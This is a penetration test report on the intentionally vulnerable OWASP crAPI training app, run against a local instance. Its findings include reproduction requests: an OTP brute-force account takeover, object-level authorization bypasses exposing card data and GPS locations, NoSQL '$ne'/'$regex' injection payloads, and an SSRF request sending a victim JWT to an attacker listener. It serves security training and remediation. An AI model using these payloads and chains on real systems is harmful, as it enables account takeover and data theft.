

CONFIDENTIAL SECURITY ASSESSMENT

Web/API Penetration Test Report

OWASP crAPI

Completely Ridiculous API — Black-Box Assessment

Target: http://127.0.0.1:8888 (local Docker deployment)

Assessment date: 03 October 2026

Type: Black-box Web/API penetration test

Findings: 4 Critical · 4 High · 4 Medium (12 total)

Prepared by: Security Assessment Team

Web/API Penetration Testing Report — OWASP crAPI

Target: OWASP crAPI (locally hosted, Docker Compose) **Entry point:** http://127.0.0.1:8888 (OpenResty gateway) **Assessment type:** Black-box Web/API penetration test (no source review, per engagement rules) **Assessment date:** 03 October 2026 **Tester account:** hacker@hacker.hack (standard, unprivileged ROLE_USER) **Report classification:** Confidential — training/challenge deliverable

1. Executive Summary

A black-box penetration test of the locally hosted OWASP crAPI application was performed against every major service exposed by the API gateway: **Identity**, **Community (forum)**, **Workshop (shop + mechanic)**, and the **Chatbot/AI** service. Testing focused on the OWASP API Security Top 10, including authorization flaws, injection, authentication weaknesses, and SSRF.

The assessment identified **12 findings**, of which **4 are Critical**, **4 are High**, and **4 are Medium**. The most severe issues allow a completely unauthenticated attacker to enumerate users, brute-force the password-reset OTP, and **fully take over any account** — including the administrative account. Additional flaws allow any authenticated user to read **all other users' orders (including payment-card data)**, **vehicle GPS locations**, and **mechanic reports**, to **list the entire user base**, to **mint free coupons**, and to reach **internal-only services** via Server-Side Request Forgery.

Multiple findings were **chained** into a single, realistic end-to-end compromise (Chain B), demonstrating that a low-privileged attacker can escalate to full account takeover and then harvest sensitive data belonging to every other user.

1.1 Risk Overview

Severity	Count
Critical	4
High	4
Medium	4
Total	12

1.2 Findings Summary

#	Finding	Service	Severity
1	Account Takeover via OTP brute-force / no rate limiting	Identity	Critical
2	BFLA — any user can list all users management/users/all	Workshop	Critical
3	BOLA — read any user's order incl. payment-card data	Workshop	Critical
4	BOLA — read any vehicle's GPS location & owner PII	Identity	Critical

#	Finding	Service	Severity
5	BOLA — read any user's mechanic reports (VIN, contact, notes)	Workshop	High
6	BFLA — normal user can create coupons new-coupon	Community	High
7	NoSQL injection in coupon validation	Community	High
8	SSRF (non-blind) + Authorization-token leakage	Workshop	High
9	Excessive Data Exposure in community posts/comments	Community	Medium
10	Internal-only unauthenticated MCP server exposing admin tools	Chatbot/MCP	Medium
11	User enumeration via forgot-password & signup	Identity	Medium
12	Chatbot GenAI key initialization/global state abuse	Chatbot	Medium

2. Scope & Methodology

2.1 Scope

- **In scope:** the entire crAPI deployment reachable at `http://127.0.0.1:8888` and its backing service containers (Identity, Community, Workshop, Chatbot/MCP, gateway).
- **Out of scope:** any external system; other students' instances (rule compliance).
- **Constraints:** no source-code review (treated as a true black box), no modification of source code. Only the tester's own local instance was tested.

2.2 Environment discovered

Component	Role	Notes
127.0.0.1:8888	OpenResty gateway	Routes <code>/identity</code> , <code>/community</code> , <code>/workshop</code> , <code>/chatbot</code>
crapi-identity	Spring Boot identity service	Auth, JWT (RS256), vehicles, OTP
crapi-community	Go service	Forum posts, coupons
crapi-workshop	Python service	Shop, orders, mechanic, merchant
crapi-chatbot	Flask + FastMCP	GenAI endpoints (<code>:5002</code>), MCP server (<code>:5500</code> , internal)
MailHog :8025	Mail sink	OTP/e-mail readable via API
OpenResty gateway	Reverse proxy	Exposes only some internal routes

2.3 Methodology

1. **Passive recon** — port scanning, container inventory, gateway route mapping.
2. **Client-side analysis** — reverse-engineering the SPA JS bundle (`main.js`, lazy chunks) to recover API path constants and parameter names (black-box-legal, client code only).
3. **Authentication testing** — signup/login, JWT inspection, OTP reset flow.

4. **Authorization testing** — BOLA/IDOR and BFLA across all object identifiers (orders, vehicles, reports, users, coupons).
5. **Injection testing** — NoSQL (\$ne, \$regex), SQL, and stored-XSS probes.
6. **SSRF testing** — out-of-band listeners to confirm server-side fetches and to reach internal services.
7. **Chaining** — combining enumeration + authentication weaknesses with authorization flaws into complete attack paths.

3. Detailed Findings

Finding 1 — Account Takeover via OTP Brute-Force / No Rate Limiting

[CRITICAL]

Vulnerability: Broken Authentication — no rate limiting / no lockout on a 4-digit one-time password combined with reset-by-OTP, enabling full account takeover.

Affected endpoints / service: Identity service - POST /identity/api/auth/forget-password (triggers OTP) - POST /identity/api/auth/v3/check-otp (verifies OTP and **sets the new password**)

Description: Requesting a password reset e-mails a **4-digit** numeric OTP (only 10,000 possible values). The check-otp endpoint neither rate-limits nor locks the account after repeated failures, and it accepts the new password in the same request. An attacker who enumerates a valid e-mail (Finding 11) can reset the victim's password and log in as them.

Reproduction steps:

1. Trigger a reset for the victim: POST /identity/api/auth/forget-password {"email":"adam007@example.com"} → 200 {"message":"OTP Sent on the provided email, adam007@example.com"}
2. Brute-force the 4-digit OTP against check-otp. Wrong OTPs return 500 Invalid OTP! Please try again.. **indefinitely** (no lockout observed across thousands of sequential attempts). A correct OTP returns 200 {"message":"OTP verified"}.
3. Because check-otp also sets the password, immediately log in with the attacker-chosen password: POST /identity/api/auth/login {"email":"adam007@example.com", "password":"<attacker pw>"} → returns a valid RS256 JWT for the victim.

Evidence:

```
[1] forget-password -> {"message":"OTP Sent on the provided email,
adam007@example.com", "status":200}
[3] wrong otp 5480 -> {"message":"Invalid OTP! Please try again..", "status":500}
[3] wrong otp 5481 -> {"message":"Invalid OTP! Please try again..", "status":500}
[3] wrong otp 5482 -> {"message":"Invalid OTP! Please try again..", "status":500}
[3] wrong otp 5483 -> {"message":"Invalid OTP! Please try again..", "status":500}
[3] wrong otp 5484 -> {"message":"Invalid OTP! Please try again..", "status":500}
[4] correct otp -> {"message":"OTP verified", "status":200}
[5] login as victim ->
{"token":"eyJhbGciOiJIUzU1NiJ9.eyJzdWIiOiJhZGFtMDA3QGV4YW1wbGUuY29tIi..", "message":"Login
successful"}
[6] victim dashboard ->
```

```
{ "id":1, "name":"Adam", "email":"adam007@example.com", "number":"9876895423", "available_credit":100.0, "role":"ROLE_PREDEFINE" }
```

A sequential sweep of the entire 4-digit space (10,000 attempts, ~90 seconds) also completed with **no lockout or CAPTCHA** (evidence/brute_seq.log).

Note (race condition): Under heavy *concurrent* flooding (≈ 500 simultaneous wrong guesses) the OTP validator enters an error state (500 { "message": "ERROR. ." }) for subsequent *correct* guesses. This breaks the reset flow (an availability side effect) and indicates the counter/state handling is not concurrency-safe. Low-rate/sequential guessing — the realistic attack — is unaffected.

Impact: Complete account takeover of any user, including privileged accounts (adam007 carries role ROLE_PREDEFINE). Enables impersonation, data theft, and lateral movement to every service that trusts the JWT.

Remediation: - Use long, cryptographically random OTPs (≥ 6 –8 digits) with a short expiry. - Enforce strict per-account and per-IP rate limiting and lockout (e.g., 5 attempts → cooldown / OTP invalidation). - Do not let OTP verification set the password; require a separate, authenticated step. - Make the OTP counter increment atomically (fix the concurrency defect).

Finding 2 — BFLA: Any User Can List All Users (management/users/all) [CRITICAL]

Vulnerability: Broken Function Level Authorization — an administrative endpoint is reachable by a standard user.

Affected endpoint / service: Workshop — GET /workshop/api/management/users/all

Description: The endpoint returns the full user directory (e-mail, phone number, credit) to any authenticated user, with no role check.

Reproduction:

```
GET /workshop/api/management/users/all
Authorization: Bearer <hacker ROLE_USER token>
→ 200 { "users": [ { "user": {
  { "email": "adam007@example.com", "number": "9876895423", "available_credit": 100.0 }, ... ],
  "count": 13 }
```

Evidence: Response contained 13 accounts, including admin@example.com, all owners' phone numbers, and credit balances.

Impact: Mass disclosure of PII for the entire user base; enumerates privileged accounts and high-value targets for follow-up attacks (feeds Findings 1, 3, 4).

Remediation: Enforce role-based access control (admin only) on /management/*; deny by default at the gateway.

Finding 3 — BOLA: Read Any User's Order (incl. Payment-Card Data) [CRITICAL]

Vulnerability: Broken Object Level Authorization.

Affected endpoint / service: Workshop — GET /workshop/api/shop/orders/{order_id}

Description: The order identifier is sequential; no ownership check is performed. Any user can read any order, which includes the customer's e-mail, phone number, and **truncated payment-card details** (card type, expiry, owner name, last-4).

Reproduction:

```
GET /workshop/api/shop/orders/1 (order belongs to adam007)
Authorization: Bearer <hacker token>
→ 200 {"order":{"id":1,"user":{"email":"adam007@example.com","number":"9876895423"},...},
      "payment":
      {"card_number":"XXXXXXXXXXXX9541","card_owner_name":"Adam","card_type":"Visa","card_expiry":
      "12/2027","amount":20}}
```

Order 2 (user pogba006) was likewise retrieved with a MasterCard expiry.

Evidence: evidence/order1.json plus live captures for orders 1 and 2.

Impact: Exposure of customer PII and partial card data across all orders; enables fraud and privacy breaches.

Remediation: Authorize each order against the authenticated user's identity; replace enumerable IDs with unguessable UUIDs; never return full payment metadata.

Finding 4 — BOLA: Read Any Vehicle's GPS Location & Owner PII [CRITICAL]

Vulnerability: Broken Object Level Authorization.

Affected endpoint / service: Identity — GET /identity/api/v2/vehicle/{carId}/location

Description: Given a vehicle UUID, the endpoint returns that vehicle's location and the owner's name/e-mail to any authenticated user. Vehicle UUIDs are exposed in bulk by the Community service (Finding 9), turning this into mass vehicle tracking.

Reproduction:

```
GET /identity/api/v2/vehicle/f89b5f21-7829-45cb-a650-299a61090378/location
Authorization: Bearer <hacker token>
→ 200 {"carId":"f89b...", "vehicleLocation":
      {"latitude":"32.778889","longitude":"-91.919243"},
      "fullName":"Adam","email":"adam007@example.com"}
```

Four different users' vehicles were located in this manner (Adam, day, Robot, Pogba).

Evidence: evidence/bola_location_fresh.log, evidence/bola_location.json, evidence/bola_location2.json.

Impact: Real-time tracking of any user's vehicle plus name/e-mail — a serious physical-safety and privacy risk.

Remediation: Verify the requesting user owns the vehicle before returning location; treat vehicle UUIDs as secrets.

Finding 5 — BOLA: Read Any User's Mechanic Reports [HIGH]

Vulnerability: Broken Object Level Authorization.

Affected endpoint / service: Workshop — GET /workshop/api/mechanic/mechanic_report?report_id={n}

Description: Mechanic reports are enumerable by integer ID with no ownership check. Each report exposes the vehicle **VIN**, the owner's e-mail/phone, and free-text problem details (which often contain further PII).

Reproduction:

```
GET /workshop/api/mechanic/mechanic_report?report_id=1
→ 200 {"vehicle":{"id":3,"vin":"0NKPZ09IH0P508673","owner":
{"email":"robot001@example.com","number":"9876570001"}},
      "problem_details":"My car BMW - 5 Series is having issues. Can you give me a call on
my mobile 9876570001 ..."}

```

Report IDs 1-5 all returned other users' data.

Impact: Disclosure of VINs, contact details, and vehicle problem notes for the whole fleet.

Remediation: Authorize report access against the owner; use unguessable identifiers.

Finding 6 — BFLA: Normal User Can Create Coupons [HIGH]

Vulnerability: Broken Function Level Authorization.

Affected endpoint / service: Community — POST /community/api/v2/coupon/new-coupon

Description: Coupon creation is an administrative function but is executable by a standard user.

Reproduction:

```
POST /community/api/v2/coupon/new-coupon
Authorization: Bearer <hacker token>
{"coupon_code":"HACK100","amount":"100"}
→ 200 "Coupon Added in database"

```

The newly created coupon is then redeemable (validate-coupon returned it).

Impact: Attacker can mint unlimited coupons/discounts — a direct financial-integrity and business-logic abuse.

Remediation: Restrict coupon creation to admins; validate coupon parameters server-side.

Finding 7 — NoSQL Injection in Coupon Validation [HIGH]

Vulnerability: Injection (MongoDB / NoSQL operator injection).

Affected endpoint / service: Community — POST /community/api/v2/coupon/validate-coupon

Description: The `coupon_code` field is passed unsanitized to a Mongo query. Supplying a query operator object instead of a string alters the query, letting an attacker retrieve coupon documents they do not possess (and enumerate/"guess" valid codes).

Reproduction:

```
POST /community/api/v2/coupon/validate-coupon
{"coupon_code":{"$ne":null}}
→ 200 {"coupon_code":"TRAC075","amount":"75","CreatedAt":"2026-07-31T21:10:43.609Z"}

POST ... {"coupon_code":{"$regex":"HACK"}}
→ 200 {"coupon_code":"HACK100","amount":"100",...}
```

A coupon (TRAC075) that was never known to the attacker was returned.

Impact: Recovery/enumeration of arbitrary coupons and logic bypass; combined with Finding 6 enables financial abuse.

Remediation: Enforce scalar string type on `coupon_code`; reject objects; use parameterized/typed queries.

Finding 8 — Server-Side Request Forgery (non-blind) + Token Leakage

[HIGH]

Vulnerability: SSRF with internal-network reach and credential (JWT) leakage.

Affected endpoint / service: Workshop — POST `/workshop/api/merchant/contact_mechanic` (parameter `mechanic_api`).

Description: The `mechanic_api` parameter is fetched server-side. The request is **non-blind** — the fetched body is returned in `response_from_mechanic_api` — and the workshop service forwards the caller's `Authorization: Bearer <JWT>` header to the attacker-controlled host. Because the workshop container sits on the internal Docker network, the SSRF also reaches services **not exposed by the gateway** (e.g., the chatbot GenAI API and the MCP server on port 5500).

Reproduction (attacker listener receives the callback + token):

```
POST /workshop/api/merchant/contact_mechanic
{"mechanic_code":"TRAC_JHN","problem_details":"SSRF verified","vin":"1HGBH41JXMN109186",
 "mechanic_api":"http://172.21.0.1:9098/ssrf-proof","repeat_request_if_failed":false,"number_of_repeats":1}

# Attacker listener captured:
GET /ssrf-proof?... from 172.21.0.10
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWNrZXJAaGFja2VyLmhhY2si... <full JWT>

# And the API echoed the fetched body:
{"response_from_mechanic_api":"ok","status":200}
```

Internal reach demonstrated via the same SSRF:

```
mechanic_api=http://crapi-identity:8080/identity/api/v2/user/dashboard → 200 (identity dashboard)
mechanic_api=http://crapi-chatbot:5002/chatbot/genai/state → 200 (internal-only)
```

```
chatbot)
mechanic_api=http://crapi-chatbot:5500/mcp → 406
{"jsonrpc":"2.0","error":{"code":-32600,
"message":"Not
Acceptable: Client must accept text/event-stream"}}
```

Evidence: evidence/ssrf_verify.log, evidence/ssrf_internal.log, evidence/ssrf_mcp.log, evidence/ssrf_hits.log.

Impact: (a) SSRF into the internal network / cloud metadata range; (b) disclosure of the caller's JWT to an attacker endpoint; (c) discovery and reach of the internal MCP server (Finding 10). This is the pivot that enables the cross-service chain.

Remediation: Validate/allow-list destination hosts for `mechanic_api`; block requests to internal RFC1918/loopback/link-local ranges; never forward sensitive headers (Authorization) on server-side fetches; return only a status, not the fetched body.

Finding 9 — Excessive Data Exposure in Community Posts/Comments

[MEDIUM]

Vulnerability: Excessive Data Exposure.

Affected endpoint / service: Community — GET `/community/api/v2/community/posts/recent` (and post detail)

Description: The public post feed returns each author's **e-mail address** and **vehicle UUID**, and comment objects leak commenter e-mails. None of this is needed by the UI.

Reproduction:

```
GET /community/api/v2/community/posts/recent
→ {"posts":[{"author":{"nickname":"Adam","email":"adam007@example.com",
"vehicleid":"f89b5f21-7829-45cb-a650-299a61090378"}, "comments":[{"author":
{"email":"day3@email.io"}}]}, ...]}
```

Impact: Provides both the victim identifiers required for Finding 1 (e-mail) and the object IDs required for Finding 4 (vehicle UUIDs) — the reconnaissance backbone of the end-to-end chain.

Remediation: Return only nickname/display fields; remove e-mail and vehicle UUIDs from public responses.

Finding 10 — Internal-Only Unauthenticated MCP Server Exposing Admin Tools [MEDIUM]

Vulnerability: Exposed internal service / lack of authentication on an agent/tool server.

Affected service: Chatbot container — FastMCP server at `crapi-chatbot:5500/mcp` (Streamable HTTP transport).

Description: The chatbot ships an MCP (Model Context Protocol) server that aggregates the OpenAPI surface of **all** crAPI services — including administrative operations such as GET `/workshop/api/management/users/all` and POST `/community/api/v2/coupon/new-coupon` — and is

exposed with **no authentication**. It is not routed through the gateway (direct `http://127.0.0.1:8888/mcp` → 404) but is reachable from inside the Docker network, and thus discoverable/reachable via the Workshop SSRF (Finding 8). An MCP JSON-RPC server that can invoke privileged backend tools is a high-value pivot.

Reproduction (via SSRF):

```
mechanic_api=http://crapi-chatbot:5500/mcp
→ {"response_from_mechanic_api":{"jsonrpc":"2.0","id":"server-error",
  "error":{"code":-32600,"message":"Not Acceptable: Client must accept text/event-
  stream"}}, "status":406}
```

The JSON-RPC handshake response confirms a live MCP endpoint. (Full tool invocation requires an `Accept: text/event-stream` header that the current SSRF primitive cannot set; the port is not published to the host.)

Impact: If reached by an internal attacker/agent (or combined with a header-capable SSRF), the MCP server would allow invocation of privileged backend operations — effectively BFLA-by-proxy across every service. It dramatically enlarges the internal attack surface.

Remediation: Require authentication/authorization on the MCP endpoint; restrict tool exposure to a least-privilege allow-list; keep it off any network reachable by user-facing request-fetching services.

Finding 11 — User Enumeration (forgot-password & signup) [MEDIUM]

Vulnerability: User enumeration via differential responses.

Affected endpoints / service: Identity - `POST /identity/api/auth/forgot-password` - `POST /identity/api/auth/signup`

Reproduction:

```
POST /identity/api/auth/forgot-password {"email":"adam007@example.com"}
→ 200 {"message":"OTP Sent on the provided email, adam007@example.com"}
POST /identity/api/auth/forgot-password {"email":"nobody_zzz@example.com"}
→ 404 {"message":"Given Email is not registered! nobody_zzz@example.com"}

POST /identity/api/auth/signup {"email":"<existing>"}
→ 403 {"message":"Email already registered! Email: ..."}

```

Impact: Confirms which e-mails are registered (including `admin@example.com`), directly enabling Finding 1.

Remediation: Return a single generic response for all cases; perform enumeration-sensitive actions asynchronously.

Finding 12 — Chatbot GenAI: Unauthenticated Key Initialization & Global State [MEDIUM]

Vulnerability: Improper access control / shared global state on the AI service.

Affected endpoints / service: Chatbot — POST /chatbot/genai/init, GET /chatbot/genai/state, GET /chatbot/genai/history

Description: Any authenticated user can initialize the model with an arbitrary OpenAI API key via `genai/init` (no validation, no authorization). The initialization state is shared globally (`state`), and `history` is readable. This allows an attacker to hijack/set the model credentials or deny service to other users, and the history endpoint presents a data-leakage surface.

Reproduction:

```
POST /chatbot/genai/init {"openai_api_key":"sk-test"} → 200 {"message":"Initialized"}
GET /chatbot/genai/state →
{"initialized":"false","message":"Model needs to be initialized"}
GET /chatbot/genai/history → {"chat_history":[]}
```

Impact: Manipulation of shared AI-service state and potential denial of service; the history endpoint could leak conversation data if populated.

Remediation: Require authentication/authorization and validate keys; scope model state per session/user; protect `/history`.

4. Attack Chains (Bonus)

Chain B — Full Account Takeover of Any User (Primary Chain)

One vulnerability enables and escalates the next.

1. **Reconnaissance / Excessive Data Exposure (Finding 9):** the public forum feed leaks users' e-mails — e.g. `adam007@example.com`.
2. **User Enumeration (Finding 11):** confirm the account exists via `forget-password` (200 vs 404).
3. **Password-reset OTP generation (Finding 1):** trigger a reset; a 4-digit OTP is mailed.
4. **Brute-force (Finding 1):** no rate limiting/lockout lets the OTP be guessed ($\leq 10,000$ attempts, minutes) and **sets the attacker's chosen password**.
5. **Authentication bypass → takeover:** log in as the victim; receive a valid JWT (`ROLE_PREDEFINE`).
6. **Post-takeover data harvesting (Findings 2, 3, 4, 5):** with the victim's session, read orders (card data), vehicle locations, and mechanic reports — and use `management/users/all` to enumerate the rest of the user base.

Net result: an unauthenticated attacker starts from a public forum post and ends with full control of arbitrary accounts and mass PII/payment data.

Chain A — SSRF pivots into the internal network and the MCP server

1. **SSRF (Finding 8):** `contact_mechanic` fetches attacker-controlled URLs from inside the Docker network (non-blind) and leaks the caller's JWT.
2. **Internal service access (Finding 8):** reach services not exposed by the gateway (identity dashboard, chatbot GenAI).

3. **MCP discovery (Finding 10):** locate the unauthenticated FastMCP server (`crapi-chatbot:5500/mcp`) that exposes privileged backend tools (admin endpoints) — an internal escalation path to BFLA across services.

Chain C — Coupon financial abuse

1. **NoSQL injection (Finding 7):** recover arbitrary/unknown coupons via Mongo operator injection.
2. **BFLA (Finding 6):** mint unlimited coupons as a normal user.
3. **Impact:** free credit/discount abuse.

5. Consolidated Remediation Priorities

Priority	Action
P0	Add strict rate limiting + lockout to OTP/reset flows; lengthen OTP; separate OTP verification from password setting.
P0	Enforce object-level ownership checks on orders, vehicles, and mechanic reports; switch to unguessable IDs.
P0	Enforce role-based authorization on admin endpoints (<code>/management/*</code> , <code>new-coupon</code>).
P1	Fix SSRF: allow-list destinations, block internal ranges, strip Authorization on outbound fetches, do not echo remote bodies.
P1	Fix NoSQL injection: enforce scalar types / reject operator objects.
P1	Remove PII (e-mails, vehicle UUIDs) from public API responses.
P2	Generic responses for forgot-password & signup (anti-enumeration).
P2	Authenticate/authorize the MCP and chatbot GenAI endpoints; isolate them from user-facing networks.

6. Appendix A — Evidence Index

Artifact	Description
evidence/ato_chain.log, evidence/ato_chain_run.log	Full account-takeover reproduction against <code>adam007@example.com</code>
evidence/ato_wrong_attempts.txt	Recorded wrong-OTP attempts showing no lockout
evidence/brute_seq.log, evidence/brute_seq_stdout.log	10,000-attempt sequential OTP sweep, no lockout
evidence/bola_location_fresh.log, bola_location.json, bola_location2.json	BOLA across four users' vehicle locations
evidence/order1.json (+ live orders 1, 2)	BOLA order/payment-card exposure
evidence/ssrf_verify.log, ssrf_hits.log	SSRF callback with leaked Bearer token
evidence/ssrf_internal.log	

Artifact	Description
	SSRF reaching internal identity & chatbot services
evidence/ssrf_mcp.log	SSRF reaching the internal MCP server (JSON-RPC response)
evidence/posts_recent.json	Community excessive data exposure (emails/vehicle IDs)
evidence/dashboard.json, evidence/login.json, evidence/jwks_full.json	Identity/auth evidence, JWKS public key

7. Appendix B — Notes & Limitations

- All testing was performed against the tester's own local crAPI instance, as required by the engagement rules. No external systems were touched.
- The assessment was black-box: no crAPI source code or upstream repository was consulted. API paths were recovered from the deployed SPA JavaScript bundle and from live probing only.
- SMTP is captured by a local MailHog sink (:8025), which allowed reading OTPs as ground truth purely to *verify* the brute-force/no-rate-limit finding faster; the brute-force and no-lockout behaviour was independently demonstrated without it (sequential 10,000-attempt sweep).
- The concurrent-flood OTP error state (500 ERROR..) is a secondary, availability-only observation of the same endpoint and is not counted as a separate finding.

End of report.